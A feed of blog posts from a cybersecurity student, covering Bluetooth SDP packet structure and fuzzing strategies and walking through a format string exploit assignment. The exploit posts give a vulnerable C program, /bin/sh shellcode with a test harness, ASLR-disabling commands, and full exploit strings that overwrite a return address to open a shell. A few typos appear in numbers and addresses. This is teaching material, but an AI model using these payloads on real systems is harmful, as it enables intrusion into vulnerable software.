Forem: Alexander Lee

Bluetooth SDP: Fuzzing the Beast

Alexander Lee — Wed, 04 Feb 2026 11:10:37 +0000

This is a continuation of my last post on Bluetooth Service Discovery Protocol.

Why fuss about the fuzz?

In a typical SDP transaction, there is no user interaction as SDP is used automatically to detect services from a Bluetooth host. If there is a critical vulnerability in SDP, a malicious actor may exploit the vulnerability and cause denial of service or remote code execution on the target device. When such event happens, the user of the target device may be oblivious as the SDP transactions are transparent to the user.

To demonstrate the importance of detecting vulnerabilities in SDP, we can look at CVE-2017-1000250.

CVE-2017-10000250 is a vulnerability in BlueZ, Linux Bluetooth stack implementation. The vulnerability allows the attacker to control the continuation state within SDP request packets and cause the SDP server to return an out-of-bounds read from the response buffer. As this is a Linux Bluetooth stack, all Linux-based devices were affected, including Android devices.

This vulnerability was featured as one of the attack vectors in Blueborne malware, which exploit multiple Bluetooth vulnerabilities.
CVE-2017-1000250 and CVE-2017-0785 were the last known major vulnerabilities for Bluetooth SDP. Although there was a recent vulnerability related to SDP (CVE-2023-4513), it was a Wireshark bug due to a memory leak in its SDP dissector. It does not mean that the current SDP implementation of the Bluetooth software stacks have no vulnerabilities or bugs. There may exist a vulnerability that has yet to be discovered.

Core field Mutations

The project was initially proposed to be an extension of L2Fuzz. L2Fuzz fuzzes the L2CAP by focusing mutating the core fields in L2CAP. By mutating only the core fields, we are able to send packets that are more likely to cause a crash, which may reveal a bug that leads a vulnerability. Of course we can send totally random inputs, but if a random input would most likely be rejected by the server. Performing a core field mutation also allows us to zoom into the particular message processing part should we discover a bug.

In the spirit of L2Fuzz, the project also looks into core field mutation of the SDP request packets.

A SDP request typically consists of a PDU header, parameters and continuation state. Looking at the error responses which a SDP server can generate, it seems that the SDP server will reject any request where the fields are mutated. Most mutated packets are likely to be rejected by the SDP server. Further experimentations with various fuzzing strategies have shown that the mutated packets were all met with various error responses. One exception is the continuation state, where appending additional data to a valid continuation state may result in a valid SDP response. While it may be because we did not modify the length parameter of the continuation state, fuzzing the continuation state is the most promising strategy to detect any bug or vulnerability in SDP.

Continuation State Mutation

In CVE-2017-1000250 and CVE-2017-0785, the vulnerabilities targeted at the continuation state of SDP requests. While SDP has error response regarding invalid continuation state, it would be worthwhile to consider mutating the continuation states.

The continuation state of a SDP request can be broken down into the following:

Continuation State = Length of Continuation State (1 byte) + Continuation Information

We consider 3 approaches in mutating the continuation states:

Mutating a single byte from an actual continuation information. This approach ensures that the mutated value is close to a valid continuation state. By fuzzing with a mutated continuation state close to a valid state, we increase the chance of the packet not getting rejected, thus allowing us to detect any bug with higher probability.

Generating a full random continuation information and set the length of the continuation state to the length of the new random value.
This approach is similar to the approach #1. However, the mutated continuation state may be a totally different value from a valid continuation state. This may result in more rejected packets but it might trigger bugs that occurs in the rejection code.
Modify the length of the continuation to a higher value.
This approach differs from the first 2 approaches as it directly manipulates the length value of the continuation state. This approach can also be used in tandem with the first 2 approaches or independently. By modifying the length to a higher value, the fuzzer might be able to detect a read out of bound error, which can be used as an exploit.

Random Fuzzing

While we want to inherit the key techniques outlined by L2Fuzz, we want to increase coverage of the fuzzing exercise as well.

There were a few approaches that were considered:

Adding random mutations to the data sequences (UUID lists or attribute lists). This is similar to the continuation states mutation. Instead of mutating the continuation states, we mutate the parameters in the data sequences. A typical data sequence in SDP can be generalized into the following:

Data Sequence = Data Sequence Header + Data Elements

Where a typical Data Element can be generalized into the following:

Data Element = Data Element Header + Data

In this approach, we will append random mutations into the Data of the data element.

Flipping random bits in the parameters.
In this approach, we can flip random bits in the packets.
Appending random mutations into the packets.
This is similar to the continuation states mutation. However, the appended mutation will not be counted as part of the continuation states. In this approach, the request can be generalized into the following:

SDP Request = PDU Header + Parameters + Continuation State + Random Mutation.

Generating totally random byte data for the packets. This approach simply generates random byte values as the packet data and send to the SDP server.

In the project, we selected Approach 1 and 4 for implementation. For continuation state mutation, we mutate a single byte in the continuation state and the length parameter of the continuation.

Next post, I will touch a bit on the implementation and discuss the evaluation of the project. Till next time~

Bluetooth SDP: Quick Overview

Alexander Lee — Sun, 25 Jan 2026 15:53:55 +0000

In my second semester for my post graduate study, I took up a project work as my "main module" for the semester. Since it is equivalent to 2 modules, my workload was more or less set to that project.

The project was to build a SDP fuzzer on top of a L2CAP fuzzer. For those who do not know, L2CAP is one of the core protocols in Bluetooth that manages the connection between master and slave devices. SDP (short for Service Discovery Protocol) is a protocol that sits on top of L2CAP.

I will use this post to do a simple introduction of SDP, with an example on how to construct a request packet.

Service Discovery Protocol

The Service Discovery Protocol (SDP) offers a framework for applications to identify available services and understand their features. In the Bluetooth context, where services can dynamically change as devices move and come into RF proximity, the process of service discovery differs significantly from traditional network environments.

Specifically designed for Bluetooth, the Bluetooth Service Discovery Protocol (SDP) caters to the unique, fast-changing conditions of Bluetooth communications. Its primary role is to locate services that can be accessed via Bluetooth devices. However, SDP itself does not specify how to access these services once found. Instead, after SDP identifies available services, other protocols and methods can be used for service access. Although SDP can function alongside other discovery protocols, it operates independently, ensuring that services in Bluetooth settings are located with SDP and then accessed using the relevant Bluetooth-defined protocols.

The interaction in SDP involves an SDP Server and an SDP Client. The server holds a database of service records, each describing a single service's attributes. A client can obtain these details by sending an SDP request to the server. When a client or its associated application opts to use a service, it establishes a separate connection to the service provider. Thus, while SDP effectively discovers services and outlines their attributes (including how to access them), it does not handle the actual utilization or delivery of these services.

In scenarios where a device hosts multiple applications offering services, an SDP Server can represent all these service providers by managing requests for their service information. Likewise, an SDP Client can serve multiple client applications by querying various servers. It is important to note that the available SDP Servers change dynamically depending on their RF proximity to the client. When a new server comes into range, the client is informed through mechanisms outside of SDP, allowing it to then use SDP to request further service details. Conversely, if a server moves out of range or becomes unavailable, SDP does not send an explicit notification; the client must infer the server’s absence through unsuccessful responses to its queries.

While L2CAP is a stateful protocol, SDP is mostly stateless. It does have a continuation state for the search responses, for the purpose of retrieving segmented data. (Sometimes the data is too huge to be sent in one single packet.)

SDP Transactions

There are 7 protocol data unit (PDU) IDs associated with SDP transactions.
0x01 Error response
0x02 Service Search Request
0x03 Service Search Response
0x04 Service Attribute Request
0x05 Service Attribute Response
0x06 Service Search Attribute Request
0x07 Service Search Attribute Response

Other values are reserved for future use. From the list of PDU IDs, we can see that there are 3 main types of transactions:

Service Search – Used to locate service records that match the service search pattern in the request. The SDP server will return a list of service record handles that match the given search pattern.
Service Attribute – Used to retrieve specific attribute values from a service record. The SDP server will return a list of attributes (attribute ID and values).
Service Search Attribute – Used to combine the capabilities of Service Search and Service Attribute requests into a single request. It can be used to reduce SDP transactions especially if there are multiple service records to be retrieved. The request is more complex and the SDP server may return partial list with continuation state. In this case, the client will need to resend the request with the continuation state to obtain the next part of the list.

If the PDU is not correctly formatted or when the SDP server cannot generate an appropriate response, the SDP server will generate an Error response (0x01). There are six errors assigned to error codes:

Invalid SDP version
Invalid Service record handle
Invalid request syntax
Invalid PDU size
Invalid continuation state
Insufficient resource to satisfy Request

SDP Protocol Format

Every SDP packet consists of a PDU header and its parameters. A PDU header contains 3 fields: PDU ID, Transaction ID and the length of the parameters. The parameters may be represented by a data element.

A data element is a typed data representation, which contains a type descriptor, size descriptor, an optional size value for data sequence and the data. The type descriptor and size descriptor makes up the header field of the data element.

A full primer of the SDP data format is available here.

Example:

Supposing I want to make a Service Attribute Request (PID: 0x04). The service record handle that I am querying is 0x00010000. I want to enquire service attributes 0x0001 and 0x0002. There is no continuation state.

Let's work on the data element for the service attributes. For service attributes, the data type is unsigned integer (type code: 0x01) and its size will be 2 bytes (size code: 0x01). Now, based on the data element specification, the type descriptor will take up 5 bits and size descriptor will take up 3 bits.

Type code: 0x01 = 00001
Size code: 0x01 = 001
1st byte for the data element: 0x09 = 00001001

So the data element for the service attributes will be:

0x0001: 09 00 01 (3 bytes)
0x0002: 09 00 02 (3 bytes)

Joining them together, we will have:

09 00 01 09 00 02

Note that the first byte of each data element is 0x09, as we have worked out previously. Also note that the attribute list is 6 bytes.

As we are querying for a list of service attributes, the 2 attribute handles will be encapsulated in a data sequence element.

Type code: 0x06 = 00110 (Data sequence)
Size code: 0x05 = 101 (The data size is contained in the additional 8 bits, which are interpreted as an unsigned integer.)
1st byte for the data element: 0x35 = 00110101

2nd byte for the data element will be the parameter size, which is 6 bytes: 0x06

The full attribute list will be:

35 06 09 00 01 09 00 02

Note that the size of this full attribute list is 8 bytes.

A Service Attribute Request comprises of a few elements:

PID (1 byte)
Transaction ID or TID (2 bytes)
Payload length (2 byte)
Service record handle (4 bytes)
Max attribute byte count (2 bytes)
Service attribute list (variable)
Continuation State (variable)

Note that payload length is the parameter length, which excludes PID and TID.

Assuming that there is no continuation state for our example, then our datagram will be:

PID: 0x04
TID: 0x0001 (arbitrary value)
Payload length: 4 + 2 + 8 + 1 = 15 = 0x000F
Service record handle: 0x00010000 (4 bytes)
Max Attribute byte count: 0x0007 (Minimum) (2 bytes)
Service attribute list: 0x3506090001090002 (derived earlier, 8 bytes)
Continuation State: 0x00 (1 byte)

Complete datagram:
04 00 01 00 0F 00 07 35 06 09 00 01 09 00 02 00

There we go, we have our SDP request. This datagram will be appended to the L2CAP packet when sent via Bluetooth.

We will discuss on my approach in fuzzing SDP in the next post.

Journey to understand format string attack (Part 2)

Alexander Lee — Fri, 04 Oct 2024 14:48:06 +0000

Part 1:
https://dev.to/duracellrabbid/journey-to-understand-format-string-attack-part-1-5dda

In Part 1, one of the motivations that made me write these posts were because it took me a freaking long time to understand how format string attack works. To give you some context, I first knew about it in late 2021/early 2022. Took me a good 2.5 years to fully understand how it works. Still, I wanted to share my learning journey and where I eventually ended in.

The Task

Here, I will move on to talk about the assignment that helped propelled me into the journey. In my assignment, I was asked to run a shellcode using a "memory exploit" in the program. The source code was provided and it looked something like that:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int vul1(char *arg)
{
  char buffer[400];
  snprintf(buffer, sizeof buffer, arg);
  return 0;
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "cstarget: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  vul1(argv[1]);

  return 0;
}

The code can be compiled in gcc using the following flags:

-mpreferred-stack-boundary=2 -ggdb -m32 -L/usr/lib32 -fno-stack-protector

Unfortunately, the source code and compilation flags were only for references. I had to perform the attack on the given binary, with ASLR turned off.

Analysis

First of all, we can see that the binary needs to run with one, and only one argument.

Then it will use snprintf to print this argument into a buffer of 400 chars. Initially, I thought this can be done using buffer overflow but snprintf is checking against the size of buffer. So this makes BoF attack unviable.

We are talking about format string vulnerabilities right? Guess what? We have snprintf!

snprintf does not produce an output. It basically prints the specified string till a specified length in the specified format to a buffer. A quick run on the binary with argument also confirms that.

No fear though! We have GDB. GDB is our friend. Let's bring along GEF for the ride as well.

From the screenshots, I noticed that buffer is at $esp. My return address is stored from +0x198 from buffer. In any case, I knew that the saved instruction address is 0x56556236.

The simplest approach is to have this address overridden to run my shellcode. Since the stack is executable, there are 3 potential places where I can run the shellcodes: buffer, arg and environment variables. I chose buffer as it is the easiest.

In addition, I observed one issue. Look at the screenshot where I planted 64 NOPs into the stack.

Note that the start of buffer changes as the size of the argument for vul1 increases. This is kind of expected. Remember my uglily drawn stack in Part 1:

Since parameters are placed before the return address, a parameter of bigger size will definitely push the stack further down.

Is that a concern for us? Yes and no. If we are not careful, the addresses that we need to write to will be wrong. However, if we formulate the format string right, we can get the addresses right where we want it.

The format string

In this round, my approach will be:

<shellcodes> + <NOP paddings> + <address1> + <address2> + %Ax%G$n%Bx%H$n

Shellcode + NOPs = 64 bytes (you can try any number that is multiple of 4)
address1 = the stack memory address that holds the return address
address2 = basically address1 + 0x2
A = lower order of the starting address of buffer - 64 - 8
B = higher order of starting address of buffer - lower order of starting address of buffer
G = (64 / 4) + 1
H = G + 1

Sounds abstract? I guessed it. Let's use Excel to visualize the stack.

Few observations here:

The shellcode is at the start of the buffer. This is because the starting address of the buffer is relatively easier to obtain. Not everyday is a Saturday, so when you get the chance to be lazy, you take it.
The NOPs are there to align the stack. Imagine if we do not have the NOPs, this will happen

We will not be able to obtain the full addresses. Setting the NOP paddings assure us that our addresses will always be on the 17th and 18th position of the stack. (Take 1 position on the stack as 4 bytes, since we are working on 32 bits)

Finding the addresses

I like to break my tasks down into smaller pieces. Let's break the format string into steps.

64 NOPs - They are placeholders for the shellcode

run $(python3 -c "import sys; sys.stdout.buffer.write(b'\x90'*64)")

64 NOPs + the 2 placeholder addresses

run $(python3 -c "import sys; sys.stdout.buffer.write(b'\x90'*64 + b'\xff' * 4 + b'\xee' * 4)")

The entire format string in placeholder values

run $(python3 -c "import sys; sys.stdout.buffer.write(b'\x90'*64 + b'\xff' * 4 + b'\xee' * 4 + b'%12356x%17\$x%12345x%18\$x')")

From here, we know that our shellcodes will start at 0xffffcdb4. We also know that the saved eip will be 0xffffcf4c. With these information:
address1 = \x4c\xcf\xff\xff
address2 = \x4e\xcf\xff\xff
A = 0xcdb4 - 72 = 52588
B = 0xffff - 0xcdb4 = 12875

The shellcode

For the purpose of the exercise, we will use the following shellcode from this article:

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

The next question is, how do we know if the shellcode works? We can test it with a simple C program.

// Filename: shellcode.c
// Compile:  gcc -m32 -z execstack -fno-stack-protector shellcode.c -o shellcode

#include<stdio.h>
#include<string.h>

void callShell() {
        const char code[] = \
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        printf("Shellcode Length: %d\n", strlen(code));

        ((void(*)(void))code)();

}

void main()
{
        callShell();
}

Nice, the length of the shellcode is 45, so we will just need 19 more NOPs to pad it. Some of you may have noticed that I could have just pad 3 more NOPs. But I like 64, so I go with 64.

shellcode + NOPs = \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90

The full format string should be:

\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\xff\xee\xee\xee\xee%12345x%17$x%12345x%18$x

Now we will test it out:

YES! A shell is opened. Mission accomplished? Not quite. There are more to the assignment, but it is beyond the scope of this write-up.

...One more thing

In essence, this should not be a difficult exercise for most seasoned CTF players. However, it is easy to get segmentation faults when working with format string attacks. It will be frustrating for beginners like me. I found that, the best thing to do is to break the tasks down into smaller pieces, and figure the smaller pieces individually.

To quote Dr Andrew Wiles: I think I'll stop here.

Journey to understand format string attack (Part 1)

Alexander Lee — Fri, 04 Oct 2024 04:35:53 +0000

A brief background

As I was a software developer, one of my focused interests in cybersecurity are software security. In my post-graduate studies, one of the earliest attacks on software memory bugs introduced to me was buffer overflow (of course) and format string attack.

Buffer overflow is fairly easy to understand. It was format string attack that caused me to pull my hair. My understanding for format string was as horrible as my half-baked French! Je ne comprends pas!!! Unfortunately, one of my recent assignments required me to use format string attack to open a shell. I was determined to do well for my assignments, so I decided to try and improve my understanding on format string attack. I learnt a lot in the process and I wanted to share my learning process here. Let's hope that this will benefit you if you have any issue with format string attack, particularly with your assignments.

First of all, I do not want to go through the basic of format string attack again. This has been sufficiently explained in various papers and websites. But to get everyone started, these are the main references that I used in my learning (and recent assignment).

References:

Reference 1: Format String Exploitation-Tutorial by Saif El-Sherei

I believed that this is one of the most referred materials online when it comes to format string attack. It is simple enough to understand.

Reference 2: Exploit 101 - Format Strings by Alexandre CHERON
This article really helped me understand how to use %n and %hn, which were the main stumbling blocks in my understanding to format string attack. While the examples in reference 1 were more relevant to my assignments, it was this article that gave me the knowledge to understand what was going on.

The big deal?

As I mentioned above, %n and %hn were confusing to me. I knew, in basic, how format string attacks work. Basically, the vulnerability happens when you forgot to put arguments for the format specifiers when using printf, snprintf, etc. Without the arguments, these functions will just be reading off the stack like nobody's business. A big no-no if you hold important information in the stack. Remember, local variables are held in the stack. So if even if you are just storing, say password, in a local variable temporarily, it can still be read by a format string attack.

Ok, let us start looking at the examples. Note that all my examples are performed on Kali Linux. (Note: I learn best with examples and following them)

The code

So let's look at this code from my reference 2:

Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    int target = 0xdeadc0de;
    char buffer[64];

    fgets(buffer, 64, stdin);
    printf(buffer);

    if(target == 0xcafebabe) {
       printf("Good job !\n");
       return EXIT_SUCCESS;
   } else {
      printf("Nope...\n");
      exit(EXIT_FAILURE);
   }
}

The setup

First of all, let us disable ASLR.

sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

I am also using GEF as well. Pretty nifty tool for GDB, to be honest. Of course we have PEDA but what's the point of writing this if I am doing the same thing as Mr Cheron? In case if you wonder, I set my stack lines in GEF to 100 and set the stack to display downwards. This is more inline with what I was taught in class, where stack grows downward.

gef config context.nb_lines_stack 100
gef config context.grow_stack_down true
gef save

The code is compiled using gcc:

gcc -z execstack -z norelro -fno-stack-protector -o format1 format1.c -m32 -g

After setting breakpoint at main and step to line 13:

In my Kali machine, target (0xdeadc0de) is located at 0xffffcfcc. Basically the exercise required me to write that value to 0xcafebabe.

The Stack (in my own words)

For most systems (at least I know Linux does), the stack grows downwards. When we initialise a local variable, it will store the variable in the next lower address. For example, if targetis stored in 0xffff0048, then bufferwill be 0xffff0048 - 0x40 = 0xffff0008.

In my screenshots, we know that targetis located at 0xffffcfcc. Since bufferis 64 bytes (0x40), it should resides in 0xffffcf8c. This is probably not significant here, but it is good to know and helps me understand the stack better.

%n and its siblings

After reading much references and articles, I finally understood what %n does:

Similarly to %x, %s or %p, when there is a %n, it will write n bytes to the argument corresponding to its position. In the illustration above, it will write x into i.

So what if we have multiple %n? The illustration below should tell the story better, based on the explanation above.

But what if we do not specify the arguments? The behaviour will still be same as %x.

One issue is %n writes 4 bytes to the address. Which means if I want to write 0xcafebabe into target, I will need to write a lot of bytes in printfin order for me to write it into target. Instead of %n, we can use %hn and %hhn which write 2 bytes and 1 byte respectively. If I were to use %hn, I will need to specify 2 addresses instead of 1.

Translating it to my example, it will be cfcc and cfce.

The format string

So my final format string will be something like:

<address1><address1 + 2bytes><X bytes to make it to 0xbabe>%7$n<Y bytes to make it to 0xcafe>%8$n

address1 = \xcc\xcf\xff\xff
address2 = \xcce\xcf\xff\xff
X = 0xbabe - 8 = 47798
Y = 0xcafe - 0xbabe = 4160

Full format string will be

"\xcc\xcf\xff\xff\xcce\xcf\xff\xff%47798x%7$n%4160x%8$n"

Note: address1 and address2 will be different depending on your setup.

Final thoughts

This is my first tech blog since over 15 years. I am glad that I am able to write something out first. Obviously this is not finished as I will go in depth on what I was asked to do for my assignment. The above served as my "weapons" to handle the upcoming task.

Thank you for being a good audience for reaching this point. Do feel free to leave your comments. _Au revoir~ A bientot!
_

Who am I?

Alexander Lee — Mon, 30 Sep 2024 15:36:48 +0000

Bonjour!
It has been a while since I write about my tech escapades. I am a man with few words, so please allow me to do a one-paragraph introduction here.

My name is Alexander Lee from Singapore. I had a diverse experience in the IT industry in general. In my early years, I was into game development and mostly dealt with the coding and tech stuffs. Eventually I got burned out by the ruthless crunches and decided to leave the game development industry for physical security industry. (This is another story for another day.) After 7 years in the physically security industry, I returned to my roots in software and decided to pursue a new professional interest in Cybersecurity. Currently I am also taking my post-graduate Master degree.

There you go. Hope to connect with you guys. Au revoir~